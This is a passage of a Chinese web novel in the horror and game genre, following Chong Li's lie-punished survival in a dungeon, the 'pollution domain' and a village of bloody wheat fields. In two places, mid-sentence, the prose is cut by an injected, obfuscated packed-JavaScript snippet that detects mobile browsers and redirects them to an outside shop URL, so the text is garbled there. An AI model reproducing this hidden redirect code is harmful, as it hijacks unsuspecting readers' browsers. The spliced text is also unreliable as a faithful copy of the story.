重黎突然停顿一秒,刷地睁开眼睛,面前站着无数线条扭曲而成的一团黑黢黢的影子贴在她跟前,脸上似乎是眼睛和嘴巴的三个洞弯出了一个弧度。 她和它对上了视线,它笑了。 重黎一下掀开被子扔向它,刚想往后跳,咚地一声撞上了天花板。 紧接着,无数滑腻腻的触手缠上了她的身体,动弹不得。 十分钟后。 “该,你,了。” 重黎面无表情蜷缩着坐在黑影子对面的矮脚椅上,看着两人中间的叠叠乐,伸出手抽出一根。 对面的黑影专注地盯着叠叠乐,确定没有倒塌后手舞足蹈地跳了一段。 重黎看向四周,和黑影对视的一瞬间她似乎就从汉斯的房子转移到了这个空间,周围黑黢黢一片,只有桌子周围有一点点亮光。 眼前这个黑影子只到她肚子高,应该是个小孩儿,不知道为什么盯上了它,又不知道为什么要找人陪它玩儿。 实在是看不清周围的东西,重黎斟酌片刻准备开口:“这是哪里。” 黑影子摆弄着桌上的叠叠乐:“家~” 自带颤音的小孩儿音在狭小的空间内回响,重黎搓了搓手臂,鸡皮疙瘩都要起来了。 “你家?那你是什么人?” 一听到这里,小孩儿兴奋起来,一下站起来,有模有样地打整了一下自己的衣服,梆梆拍着自己的胸脯:“我,宝……儿。” 宝儿? 然后宝儿就看着重黎,不知道为什么重黎从那张漆黑的脸上看出了期待,她摸了摸耳垂,行吧,礼尚往来,交换姓名。 于是重黎开口:“我叫武落。” 重黎话音刚落,小孩儿开始围着她转圈手舞足蹈,像是什么野人的餐前仪式一样。 然而重黎脸色僵住了。 【滴!检测到玩家说谎,生命值下降50%,当前生命值10/100,匹诺曹虚拟游戏币+1。】 身体不适状态解除之后果然就放松了自己这张嘴,重黎决定第一时间等回到冒险者小镇,就去找解除绑定的办法。 小孩儿似乎听不到这播报声,等他跳够了,他突然跑走了。 随着他的脚步远去,他黑黢黢的身影被一道微弱的光勾勒出线条,随着他走动的身影照亮了周围的一切。 如重黎所料,这里的层高非常低,但还算宽敞,凌乱但还算整洁,真是这小孩儿的家? 见重黎迟迟未动,那小孩又哒哒哒折返回来,伸手拽住她的衣角使劲拉扯,一路将人领到一面墙壁前,重黎依着孩童的力道缓缓蹲下。 小孩吭哧吭哧费力挪开墙角的木盒,墙缝间立刻漏出一点细碎的微光。 重黎眯眼,那是一个洞,洞外透出的光形成一道光柱投射在整个空间内。 “ma……”小孩儿献宝一样指了指那个洞,重黎凑上前去,她眯起了眼,面前看到面前是灰色的什么东西,看不出什么特别。 可下一瞬,一只爬满交错红血丝的眼球,猝不及防地紧贴洞口,直勾勾对上了她的视线。 重黎浑身一凛,猛地抽身向后急退。 “叮铃铃——” 一阵铃声响起,重黎眨眼的瞬间周围的一切便消失了。 她又重新回到了房间,可还是不对,周围没有一个人。 又是一阵铃声响起,门外突然传来了重重的脚步声,重黎浑身发毛。 “叮铃铃——” 这次声音的来源是窗外,重黎微微侧头,余光撇到了院门外一个巨大的阴影,一团扭曲的不成人形的尸体碎块,身上到处夹杂着不成形的碎骨和破布,拼凑起来的五官四处乱转,嘴巴一张一合。 重黎突然眯了眯眼睛,正准备再仔细看看时,拿着刀的手腕剧痛,她这个人一踉跄几乎要站不稳。 一阵敲门声响了起来。 “笃笃笃——” 就在这时,重黎只感觉整个人灵魂被人从身体里抽出来甩了三百六十转又塞回身体里,头晕目眩直直就往下栽。 然而却没有摔到地上,她被韦媛媛扶住了。 站起身的瞬间重黎心头一动,强撑着掀开被子,一个巴掌大小的黑黢黢人偶静静躺在那里。 韦媛媛自然也顺着她的动作看到了这个人偶,脸色一变,人偶这种东西在副本里可是高危物品。 她迅速从兜里掏出一个符咒,手腕用劲儿一甩,贴在人偶头上却又轻飘飘滑落,韦媛媛一愣:“不是污染物?那是哪来的?你遇见什么了?污染域里的?” 重黎在一串问题里回答了自己想知道的那个:“污染域......是,什么?” “部分污染核心会具有的特殊能力,你可以理解为里世界。里世界里,污染核心就是主宰。” “那我为什么能回来?因为那个吗?”重黎指了指韦媛媛的右手。 她的手从机关枪变正常以后,袖子一直没有放下,此时她的手上和重黎刚才剧痛的位置有着同样的花纹。 韦媛媛放下袖子:“这是锚点,必要时候可以召回在里世界迷失的人。但更重要的是你一个菜鸟进入里世界居然成为了九死一生的那一生,也不知道该说你倒霉还是幸运了。” 重黎大概理解了,然而长篇大论也没有妨碍重黎关注到重点:“你什么时候种下的?” 韦媛媛顿了一下,面露纠结,她算是看出来了,这小姑娘主意大着呢,虽然身体不行偏偏足够聪明还犟,一定会追着她刨根问底,太麻烦了,自己的时间也不多了,还有更重要的事情去做。 与其造成麻烦被纠缠,不如提前出卖队友:“你去找江霂问。” 江霂的名字一出,重黎瞬间想到了她刚进冒险者小镇时那颇为刻意的一撞,他看起来就不像如此冒失的人。 一股不爽的情绪挥之不去,虽然她知道自己现在实力很弱,也知道江霂和韦媛媛帮了她。但今天她能毫无防备就被种下这种东西,明天就能毫无知觉地被人害死。 人为刀俎我为鱼肉的滋味儿当然不好受。 “反正对你没坏处。知道多了对你没好处。现在,闭嘴睡觉!”韦媛媛一顿,“等等,比起这个,你先看下你的污染值。” “污染值?” “污染域里的空气都自带污染,一旦被中修改污染,这个过程就是不可逆的。在危险区待得越久,解除污染核心越多,被污染同化的速度越快。” 重黎打开个人面板,那个红色数字仍然是0:“没变化。” 韦媛媛眉头一拧:“真的假的?进入污染域怎么可能一点变化没有?” 重黎脸上露出一个公式化的微笑:“我不想骗人,所以真的。” 再撒个谎,她可能随意摔一跤就会被送走了。 韦媛媛半信半疑:“你在里面遇见什么了?” 重黎看着她脸上带着些焦急、操心和烦躁,一个常常在重汐带自己超过一天的时候重渊脸上会出现而表情,她担心她。 于是重黎肯定了自己的想法,韦媛媛绝对认识重汐。自己从没来过危险区,一个陌生人莫名其妙的保护欲只能来源于爱屋及乌。 “你认识重汐。”重黎肯定道。 韦媛媛脸一黑:“别问,别管,闭嘴,睡觉。” 她没有否定!这是重黎遇到的第一个很大可能认识重汐的人。于是她决定立好自己三好学生的人设刷刷好感值方便套话,韦媛媛明显就是那种讨厌麻烦的人。 她老老实实描述了下,韦媛媛显然一脸头大的样子,半晌她决定放弃思考:“咳,没事,保你活过这三天没问题,你可千万别作死啊。” 重黎闻言挑眉,不管原因是什么,自己好像收获了一个免费的保镖,既然如此,不浪岂不是可惜了,毕竟刚才那只眼睛重黎总感觉有点眼熟啊。 于是她露出一个乖巧笑容连连点头。 看了眼始终睡着的武落和阮小红,轻声问了句:“他们怎么睡那么死。” 韦媛媛一屁股坐在床上:“汉斯晚上给吃的东西有问题,按理说你们都应该睡死的,你吃了这么多怎么还醒了?” 重黎歪头:“他把我们迷晕干什么?” 韦媛媛哼了一声:“干什么?当然是拿你当小点心下酒!” 重黎表情没有丝毫变化,韦媛媛啧了一声。 重黎嘴上答着,脑子也没停。她很快意识到一个问题:“我为什么会进入这个副本?” 韦媛媛叹气,不是都把锅甩出去了吗,怎么还这么多问题,她一下坐起来,暴躁道:“我还想问你呢!刚进小镇不知道了解下情况吗?直接往副本里莽,你是笨蛋吗?!老娘正睡觉呢,就因为这锚点被你直接拉进副本!” 重黎恍然,怪不得一进来的时候韦媛媛还穿着睡衣,但是:“有人拉我进了这个副本。” “什么?” “我被人拉进来的,刚进任务大厅,手臂上就在发光。”重黎笑眯眯地道,“我还以为是你拉我进来的呢~” 有人给她打上标记一定是因为想从她身上得到什么东西或者干脆想杀了她,在她完全不熟悉的副本中最好动手。一开始她怀疑韦媛媛,毕竟刚开始韦媛媛就一副很不爽她的样子,后来发现她平等地不爽任何人。 如果是韦媛媛,那么刚才直接不救她才是最好的选择。如果不是她,那么,是武落吗? 随着重黎话音刚落,韦媛媛脸上神色变得凝重:“从现在开始,别和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501959|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我分开。” 重黎敏锐地察觉到了什么,她随口问道:“你要保护我,有人要对我不利,所以因为什么?” 韦媛媛没有回答,重黎不死心:“因为重汐是吗?” “因为重汐是吗?”李传跟在江霂屁股后面走出了竞走的感觉,一边喘一边问:“不是,江大队长,你走那么快干什么!” 江霂瞥了他一眼,然后轻描淡写说道:“正常速度而已。” 李传跟着他的视线看到了自己的腿,靠!腿长了不起啊! “还有,这里是探索者基地,你进来是不是有点不合适!” 李传瞬间炸毛,阴阳怪气:“哎哟,江队长,用到人家的时候亲亲热热叫人家小串儿水果热茶招待,用不到的时候咱就是外人儿了,你个基地都进不得了!” 江霂脚步不停,推开自己办公室的门:“好奇心太强了不是好事儿,小串儿。” “不行!我制定的向导之旅还没结束呢,小姑娘就在我眼皮子底下给人坑进副本了!奇耻大辱!奇耻大辱!这是在挑战我的职业道德!” “看来您这职业道德水准是唯心主义,上限下限都没个边界。重汐,或者说禁区的事情不可能告诉你。” “哎哟,是吗?不说我也猜得到,无非就是几个老不死的怀疑重汐给她家里人留了什么东西是吧?” 江霂脚步一顿,然后“刷”一下拉上窗帘:“慎言。” 李传悠哉悠哉在江霂对面坐下,等着鱼儿上钩:“嗨哟,以我多年的经验来看,那小姑娘可不一般,你们最好别把她当普通小女孩儿看待,更不要试图忽悠她哦。” “你知道些什么?” “你用什么来跟我换消息?” 江霂仅用两秒做出了抉择,他从抽屉里拿出一张纸条放在桌面,轻敲两下:“你想找的东西。” 李传面色一变,手瞬间伸出却被江霂抓住了手腕。 江霂:“小串儿,你先想好这样做到底值不值得。” “我说值就值。”一向没心没肺的李传此刻却看上去十分阴郁。拿到手后李传却没急着打开,而是正色道:“那个小姑娘登录筛选的内容你们知道了吗?” “登录筛选?”江霂一顿,“难道?” “没错,她的登录筛选,npc是匹诺曹。” 江霂瞳孔一缩。 韦媛媛拍案而起:“匹诺曹!” 武落被突然大声的韦媛媛吓了一跳,他有些结巴:“咋……咋了?” “你是说你们第一个副本boss是匹诺曹?!” 武落呆呆点头。 韦媛媛啧了一声,看了一眼淡定的重黎,这小姑娘怎么这么麻烦,昨天晚上一来就被拉进污染域,好不容易解决。正吃着早饭又问出麻烦来了。更可气的是,她什么也不知道,还一副无忧无虑的样子。 重黎匆忙往嘴里塞了一口蔬菜,吃着有点腻了,然后好奇地开口:“那还真是匹诺曹啊?童话里那个?” 韦媛媛:“危险区里确实有很多和童话雷同的形象,但你要清楚一点,这些副本boss可和童话故事里的那些人类的好朋友不一样,他们只是披着童话皮的怪物。官方为这些全线存在、经常出现在各种副本里的boss指定了代号,试图观测一些boss喜好,寻找游戏规律,提高一些存活率。匹诺曹就是其中一个。” “那为什么它自己都称呼自己是匹诺曹大人?它承认了人类给它取的代号?” “匹诺曹是副本boss里有名的乐子人……呃,乐子boss,别人越怕它它越开心,一个令人生畏闻名天下的名号对于它而言就是它实力的证明。所以,不奇怪,因为各种原因认可花名的boss也不在少数。”韦媛媛一顿,脸上尽是讥讽,“人类做什么为什么需要经过boss许可?重黎,你要记住,我们和它们是仇敌。” 匹诺曹可是一个狡猾的老鼠,既然重黎已经和它对上了,那么了解一些消息也是必要的。想起江霂的警告,韦媛媛撇嘴,决定忽略,反正他不在。 于是她解释道:“副本类型有两种,一种是普通副本,污染严重高度依赖武力值但有特殊机制可以利用。另一种则是特殊副本,污染低但副本boss灵活程度堪比真人,特殊副本的背景设定一般与民俗分类里的童话或者神话有关。这种副本很少且一般会比普通副本难很多,但只要通关获得的提升也更大。” 重黎喝了一口水顺顺气:“这不是挺好?” “好?和高收益绑定的是高风险。很不巧,匹诺曹就是全线存在的副本boss中相当记仇的boss之一。你没把它得罪得太狠吧?” 重黎回忆了一下绑定道具的寄语,然后说:“额,可能有些误解?” “误解?” 重黎笑眯眯,对啊,她怎么会是强盗呢? 韦媛媛看着不说话的重黎,有些狐疑,但还是提醒到:“开启了一次特殊副本,就像打开了潘多拉的魔盒,你只会紧跟着经历一个又一个的特殊副本。你的副本只会越来越难,而且盯上你吸你血吃你肉的冒险者也会层出不穷。也就是说,会死哦小丫头。” 11. 汉斯的新娘6 “哇!太可怕了,会死诶!” 重黎说的内容和语气完全不符,明明是表达恐惧的话语愣是说出了一种马上要去游乐园春游的喜庆感。 韦媛媛脸色一黑:“重黎,你究竟知不知道危险区对你来说有多危险?” “你究竟知不知道危险区对她来说有多危险?”李传眉头一皱,“她都和匹诺曹扯上关系了,还要让一个小女孩儿趟这摊浑水?” 江霂不为所动:“怎么?你一个利益至上的情报贩子担心一个八竿子打不着的小姑娘。难不成你也想来掺和一脚?” 李传脸上的笑容恢复如初:“哎哟,我哪敢掺和探索者的事情啊,你们这么高尚,简直就是人类之光啊~我肯定无条件相信你们咯。” 然而江霂并没有搭他的茬,观众不配合,一场戏也演不下去,李传站起身收起笑容,像个喜怒无常的变脸大师:“江霂,我不会放弃的,哪怕最后与探索者为敌。我只是,提前给你打个预防针。” 江霂沉默片刻后开口:“我不会手软的。” 李传攥紧手里的纸条,脸上笑容越来越大:“那就最好啦!” “行啦,消息我也带到了,今天第一单夭折了,那就只能再去找一个啦!赚钱的机会不等人,再见江大队长。”说完李传火急火燎地跑出了探索者协会,右拐的瞬间消失在了阴影里。 一张纸条在空中无声自燃,那还未燃尽的残留上依稀写着女巫二字。 “女巫?”韦媛媛一脸疑惑。 重黎眼神亮晶晶:“不是说那个什么男爵在找女巫吗?这可是童话经典配置,感觉很有趣的样子。” “别想。”韦媛媛干脆利落的拒绝。 重黎听出了韦媛媛的言外之意,反而更加兴奋了:“真有女巫啊!” 韦媛媛:“有啊,冒险者小镇里有一个魔药协会,听说是女巫老巢,但只是怀疑。” “这不能说吗?” “特殊副本很难,但同样的也会有更多的机遇。因为特殊副本的连续性,你在副本里获得的某些技能虽然不能带出去,但是可以在副本里使用。玩家根据来源或者特性给这些技能取名,女巫就是其中一种。” 韦媛媛继续说道:“这些身份一旦获得,你天然就会参与进一些特殊势力的争斗,你因为你的身份获利,同样也会因为你的身份树敌。而女巫,哼,那可是过街老鼠。副本通关难度比其他人大了不止一个档次,你要是和她们扯上关系,也别想逃。所以,你最好祈祷像汉斯说的那样,那什么女巫是男爵一伙人瞎编的。” 重黎了然,特殊身份有利有弊,单看你自己认为是利大于弊,还是弊大于利。但是,重黎眉眼弯弯,感觉很有趣啊。 韦媛媛此刻反而冷静了下来,一个从没有见过的新世界,感到好奇是正常的,但不正常的是重黎是发自内心没有一丝恐惧,哪怕昨天进了污染域她也没有一点变化。 她眯了眯眼,谁都不能阻止她把重黎打包送回安全区,重黎自己也不例外。 就在这时,楼梯吱呀作响,下来的是王凯。 王凯与昨天没什么不同,见到众人温和笑着打了个招呼:“诸位挺早。” 然后下来的才是胖瘦二人,脸色都有些不好。 “哇,你们怎么了?”武落疑惑开口。 胖子没有开口,反而是一直有些沉默的瘦子开口解释:“昨天晚上有人在敲门,我们去看了下就被袭击了。” “敲门?谁在敲门?” 瘦子摇头,他们有不是很清楚。昨天深夜他们三人都在房间里,已经准备休息了,然而突然一阵急促的敲门声就响了起来,但门外没有人说话甚至根本没有呼吸声。 敲门声一停,那东西就像鬼魅一般出现在了他们的房间里,经过一场恶战,最后是靠王凯的某个道具才成功战胜那个影子,但瘦子总觉得有些奇怪。 城里等人没有再多问,毕竟他们根本不是可以互相分享线索的关系,瘦子能说这么几句已属不易。 如此看来,汉斯的房子而并不能说安全,副本初期相对来说比较安全,因此最好还是出门探索一番。 他们正准备出门时,不知道去了哪里的汉斯出现了。 “欸欸欸——恩人!们!”汉斯连忙招呼几人,脸上带有愧色,“不好意思,那边开不了。” “开不了?”武落一经提醒,总算想起重黎昨天的分析,这个门确实开不了。 还没等到众人提出疑问,汉斯先给出了解决方案:“嗯,就是,那个,为了安全,大门锁了。要出去的话,只能委屈各位恩人走这边。” 汉斯在围墙和屋子的夹缝前停下了,然后一脸郑重地说:“各位恩人,记得天黑之前一定一定要回来啊!” 出人意料的是,阮小红先从缝隙挤进去了,重黎一愣,也跟上去了。 沿着墙壁走了大概5米,缝隙越来越小,突然,阮小红身子一矮,不见了。 重黎视线下移,发现了一个狗洞。 【(鹅):叮~探索度+5,当前探索度15%。】 重黎眼神一眯,矮身钻过狗洞的时候有一瞬间的晕眩,紧接着是韦媛媛、王凯和瘦子。 几分钟后,武落和胖子才勉强从里面出来。 阮小红不耐烦道:“慢死了。” 武落心虚摸了摸后脑勺没反驳,胖子则开脱道:“这不是就咱哥俩儿体型最大嘛。” 突然胖子一顿,从兜里掏出了梨树叶,叶子在接触到空气的瞬间变成了黄色。 “污染程度加深了?”重黎疑惑。 “不只是加深这么简单,梨树叶可没有碰到任何东西,仅仅是游离在空气中的污染都达到了这个程度。最多两个小时,必须返回。”胖子一反不靠谱的印象,详细地给众人解释了一番。 王凯补充道:“刚才穿过狗洞的时候,有一瞬间的空间错位感,汉斯的房子应该做了什么防护。” 武落四处张望:“你们发现没,雾散了。” 汉斯的房子也可以看到外面的场景,但被一层浓雾笼罩,而此时外面却是晴空万里。 接下来一群人自然地分了两波,朝不同方向走去,约定两小时后集合交换情报。 重黎四个人随意选了个方向沿着土路往前走。 安全教育学院官方教材有一本很厚的民俗大典,以前重渊就用那个来教她和重曜识字。 这里看起来就像是历史上欧式的庄园,地域大但人不多,隔着几十米才零零散散有些土房子。但不同于汉斯的房,这些房子只有一层且十分低矮,看起来很破旧,甚至有的是茅草屋顶。只有用旧木头扎起来的篱笆。院子里的场景一览无遗。 整条土路呈上升的趋势,尽头远远能看到一个石头建筑,霸道地占据了地势、风景最好的地方。 “咳咳咳咳——” 前方屋子里一个头发白了大半的老太太抱着一个簸箕走出来,深深弯着腰,把簸箕倾斜将里面的粉状物抖在 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“我知道,你们是外地来的游客是吧,也不知道我这儿有什么好看的,随时都有人来。”奶奶温柔地招呼,“虽然没什么好看的,不过我们这儿的面包可是很出名的,进来尝尝吧。” 几分钟后,众人坐在玛丽奶奶的院子里面面相觑,几人是吃饱了出来的。然而玛丽奶奶此时一脸不赞同:“你们几个都瘦成什么样了,尤其是这个小黄,再说了,可不能浪费粮食!” 最后一句话音落下,几人莫名感觉到一阵阴风吹过,对视一眼拿起一块面包以龟速进食。 “奶奶......” “叫我玛利亚就行。” “玛利亚奶奶,你认识汉斯吗?” “汉斯?”玛利亚奶奶眯起眼睛,微微抬头,看似在回忆,“哦,汉斯啊。” 武落积极提示:“对,就是住在......” 抬起手臂的武落怔住了,只因他们来的方向,汉斯的房子凭空消失了。 “靠!这我们怎么回去!”胖子一拳砸在旁边的墙壁上,一脸烦躁。 和重黎几人分开后,他们沿着大路径直向那座十分显眼的城堡走去,然而走了不到3分钟,胖子不经意地回头就发现汉斯的房子消失了。 连向来沉着的瘦子也是一脸着急的样子,胖子更加烦躁,再看向王凯,他仍然是一副温和的样子,他开口:“没关系,我在我们出来的地方做了一点标记,汉斯的房子可能做了什么防护,否则他也不可能安全活到现在。” 胖子:“我就知道老实人绝对都是老阴比,我们走之前怎么不说!” “等今天晚上回去的时候再说吧,现在更重要的是先找找线索吧。” 几人来到了城堡之下,昨天的进度投影里出现了一个衣着华丽的男人提到了男爵大人,怎么看,男爵大人都只能居住在这个城堡里才合理。 胖子夯吃夯吃从道具栏里取出【无限延伸的绳索】准备翻墙。 瘦子看了他一眼无奈道:“别费劲了,这里压根没有守卫。” 于是几人大摇大摆从正门走了进去,保险起见还带上了面罩。 几人来到城堡主楼前的中央庭院,庭院四处长满了齐膝的杂草,根本没有人居住的痕迹。 突然,一阵悉悉索索的声音响起,像是什么东西滑过草木的声音。 王凯神色一凛:“有东西来了。” 12. 汉斯的新娘7 “哐当哐当” 王凯几人顿感不妙,不知何时出现的浓雾将几人包围,雾里什么东西与地面摩擦的声音越来越密集。 一团团幽绿色的火焰悬挂空中。 胖子咽了口唾沫,靠近了瘦子:“鬼……鬼吗?” 然而瘦子没说话,一开始胖子只以为是大环境恶劣,可随着和瘦子相接的肢体部位变得越来越冰,他终于意识到了不对。 说时迟那时快,胖子拿出了自己从未有过的高速反应:“暖暖太阳鼓!” 【暖暖太阳鼓】:敲响太阳鼓,驱散负面状态3分钟,针对灵异类boss有奇效。玩具小镇出品、必属精品,几乎没有副作用,冷却时间6小时。 “咚——” 沉闷的鼓声响起,刹那间,光芒四射,冰冷褪去就连周围的浓雾也被荡开,胖子环视四周,他的四周足足有十具骷髅,眼眶处燃烧着绿色的火焰,上半身白骨,下半身是扭曲在一起凹凸不平的尾巴。 不知何时,只剩下了他一个人。 “嘎——” 乌鸦振翅而起,骷髅一拥而上。 “嘎——” 一群乌鸦不知何时将重黎等人团团围住,猩红的眼睛注视着他们。 武落一点一点往重黎身边挪动:“这什么啊?” 玛利亚奶奶虽然年纪大,耳朵却似乎很灵敏,听到武落的问话,她和蔼地摸摸武落的头:“别怕,那是守护着这个村子的圣母大人的使者!” 武落一愣,玛利亚的手掌粗糙但温暖,和奶奶一模一样,被自己强行压制的恐慌和思念争先恐后席卷整个大脑,眼眶一热,武落低下了头。 玛利亚奶奶从屋子里拿出一个打着补丁的袋子,小心翼翼地从里面掏出一把小麦,朝空中一撒。 乌鸦一拥而上,将麦子抢夺干净以后飞走了。 重黎看着玛利亚满脸虔诚地双手合十,目送乌鸦飞走,问了一个问题:“玛利亚奶奶,你认识艾尔莎吗?” 玛利亚立刻脸色一变,转头盯着重黎,疾言厉色道:“你怎么能直呼圣母大人的名字!你们是不是想对圣母大人不利!” 重黎意识到不对,眼睛都不眨下意识嘴皮子就动了起来:“当然不是!我们是慕名而来,传说中圣母大人救苦救难,传播幸福,我们也想见见圣母大人呢!” 重黎两眼一闭。 【滴,检测到玩家说谎,生命值下降50%,当前生命值8/100,匹诺曹虚拟游戏币+1。】 她靠着快要把自己吃吐的进食量好不容易涨了6点的生命值瞬间到了8点。 下一秒重黎立马跳起来将韦媛媛护至身前,韦媛媛一头问号看着她,重黎没有说胡话而是做出一副西施捧心的姿态装可怜,她决定接下来她要当一个哑巴。 韦媛媛翻了个白眼,虽然嫌弃还是没有让开。 她开始怀疑自己,自己是不是看错了,这不是挺怕死的吗?自己从来都不擅长分析,看错了也正常。 那边玛利亚奶奶却因为重黎的称赞露出了“孩子,你很不错”的眼神,被打断施法的玛利亚奶奶又想起了刚才的问题:“汉斯,那个人,早就被我们逐出村子啦。那个懒汉,除了偷奸耍滑什么也不会,个臭不要脸的,就他那个傻子还天天叫嚣着想娶媳妇儿......” 玛利亚奶奶似乎厌恶极了汉斯,足足骂了好几分钟,几乎用完了她骂人的所有词汇才停下来,她休息了两秒,又警惕道:“你们是怎么认识汉斯的!” 重黎抿着嘴微笑就是不说话,阮小红一副萌哒哒什么都不知道的样子,韦媛媛已经在开始打量玛利亚奶奶身上最好下手的位置。 武落扛起重任:“那什么!汉斯欠我钱呢,我来找他要债!” 玛利亚奶奶立马一脸遗憾:“唉,那你怕是要不回来了,汉斯就是个无赖,在外面欠了一屁股债,有一次十几个打手来找他要钱......要不是......” “要不是什么?” “要不是,要不是,诶?”玛利亚奶奶停顿两下,下一秒像是忘记了之前所有的对话,又开始对着武落,“哎哟,小可怜,你怎么这么瘦啊,多吃一点面包吧,多吃一点就再也不会饿了。” 接下来玛利亚奶奶就如同陷入了循环,什么也问不出来了,此时时间已经过去了30分钟,几人决定离开了。 然而随着时间流逝,她们也没有收获新的线索。村子里的人大多和玛利亚奶奶一样,热衷于喂她们吃东西,但凡说不吃马上翻脸,吃吧,也问不出更多的东西了。 艾尔莎是提都不能提,而汉斯都是清一色的差评,什么?汉斯的新娘?就汉斯那样还想有新娘?走走走,不吃就走! 探索度至今没有丝毫进展。 三人气喘吁吁站在最后一户人家门口,再往前走就是一片金黄的麦田了。 武落一屁股坐下打了个嗝:“太热情了太热情了,我真的道嗓子眼了,一口吃不下了,吃不下了。” 几人之中只有韦媛媛看上去毫无印象,此刻正看热闹似地看着她们。 “这面包不会有问题吧?” 重黎摇头:“应该不会吧,要是不能吃韦媛媛也不会吃了。” 韦媛媛眉头一拧:“谁准你直呼我大名了,叫姐。” 重黎不说话微笑。 韦媛媛撇嘴:“小兔崽子。” 她确实提前用道具测试过了,这里的食物和水都没有问题。但这反而是最大的问题,连空气都弥漫着程度不低的污染因子,食物和水为什么反而没有问题? 一旁的武落羡慕:“真好,要是我也有兄弟姐妹就好了。” 韦媛媛对重黎拿她当试毒宫女都没意见,在意的反而是重黎不叫她姐这件事,哪怕不是亲姐妹感情一定也很好。 诶,不对啊,重黎不是和他一起进的危险区吗?难道是以前就认识?武落摇摇头,决定放过自己的大脑。 突然,武落耸了耸鼻子,怎么有股腥味儿。 他看向味道传来的方向,阮小红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501961|202782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正站在麦田旁边,身体有些颤抖,他开口:“怎么了?” 整个庄园如果从上空俯瞰,是一个不规则的椭圆形,最中心是那座石头建筑,建筑大门正对着汉斯的房子,其他人的房子都在中间不规则分布,而四周则是无穷尽的麦田环绕。 连绵不绝的金黄色麦浪里,有一道岿然不动的身影。 破烂的草帽,风吹日晒下逐渐褪色的抹布衣物和四处支楞的稻草,两颗豆豆眼和弯曲的嘴角,一个被束缚在十字架上的稻草人像是有生命一般,幽深的眼神注视着众人。 武落不自觉吞了一口口水,这个稻草人感觉很奇怪啊,他上前一步扯了扯阮小红的斗篷,示意她后退。 重黎和韦媛媛显然也看到了,走到麦田边缘,却没有跨过那一道象征着界限的深沟。 一阵风吹过,麦浪从远方涌来,一股厚重的血腥味儿也涌了过来。 重黎眯了眯眼,稻草人胸口有一个向日葵胸针,一共13根花瓣,右上角有一根花瓣断掉了,没有不规则的断口,而是像被什么利器切掉似的平整光滑。 因此重黎确定,她昨天晚上在尸块集合体身上看见了这颗胸针。 韦媛媛蹲在地上盯着麦子根部的泥土,是暗红色的,她掏了掏耳朵:“刚刚那老太婆说她们的面包都是她们自己产的小麦做的?” 众人齐齐一愣,显然也注意到了这个问题,自己产的小麦如果用的是眼前这片仿佛从尸山血海中长出来的麦子,那么...... “曰——”武落克制不住吐了出来。 重黎接着分析:“那么,又回到了那个问题,面包为什么没有污染因子?” 重黎看向韦媛媛:“大佬,您的道具是坏了吗大佬?” 韦媛媛听着重黎阴阳怪气地叫她大佬,翻了个白眼,怎么可能,她感知污染靠的可不是道具,要是她都能出错那就没有谁能对了。 这小孩儿还是刚见到的时候可爱,看出自己无害以后就开始有点嚣张,想揍。 韦媛媛突然反应过来,对啊!姐债妹还,以前重汐揍她,现在她揍她妹!没毛病! 于是韦媛媛抬手给了重黎一个脑瓜崩,然而一口气吐出一半,重黎“噗——”喷出一大口血。 韦媛媛大脑空白一瞬:“喂!你咋了!” 然后立马从怀里掏出一瓶红色药剂往重黎嘴里灌,她此刻也管不了重黎是不是在碰瓷了。 正在咕咚咕咚喝药剂的重黎感觉到仿佛有谁在拿明火烧她的胸口。 【滴,检测到玩家说谎,生命值下降50%,当前生命值10/100,匹诺曹虚拟游戏币+1。】 ber!她都没说话啊!懂不懂什么叫“说”谎!还有没有天理了!她要投诉!谁把投诉键给她扣了! 重黎恨恨舔了一口舌尖咬出来的伤口,瘫在地上放弃治疗两秒,然而马上又被一直呕吐不停的武落给熏了起来。 就在这时,旁边的茅草房里突然传来一个阴沉僵硬的声音:“浪费、粮食!” 13. 汉斯的新娘8 整个庄园的布局很简单,是一个田字,最中间就是石头城堡,此刻的小路上很热闹。 重黎一马当先跑在所有人前面,后面跟着韦媛媛和阮小红,武落在最后被一个挥舞着巨型狼牙棒的壮汉追得吱哇乱叫。 重黎之所以在最前面,不是因为她跑得比所有人都快,而是她跑得够早。 早在带着威胁的“浪费粮食”四个字说完之前,重黎已经迅速用掉一张兽人体验券起飞。然而背上突兀地长出了一双毛绒绒的翅膀,一看就是童工,于是重黎领先了但也没领先多少。 韦媛媛对她的行动表示了高度认可:“小鸟崽子!” 然而不过几秒,韦媛媛就已经追上了她。根本不是一个量级,重黎此刻还有心情想这是D级副本,那么韦媛媛最高就是C级,C级玩家这么厉害吗? 下一秒阮小红“嗖——”地一下过去了,重黎警钟一下敲响,这样一来不就只剩下她和武落了! “砰——”狼牙棒砸在重黎脚边溅起沙石,又向右扫过武落头顶。 两人像被追的老鼠,重黎终于忍不住呐喊:“浪费粮食的不是他吗!打我干什么啊!” 武落震惊,不敢相信自己的外置大脑如此无情:“不是同一个沟里的战友吗!革命友谊如此脆弱吗?!” 重黎憋气,没有把自己的debuff如实相告,她们不跑可能死不了,她只要挨一下立马完蛋。重黎黑脸专心跑路。 “咚—咚—咚—” 几人正水深火热时,不远处传来了奇怪的声音,像鼓的声音,但有些沉闷。 只见一个胖胖的声音从对面疾驰而来,一边跑一边拿着一个脸盆大的鼓往自己头上砸。 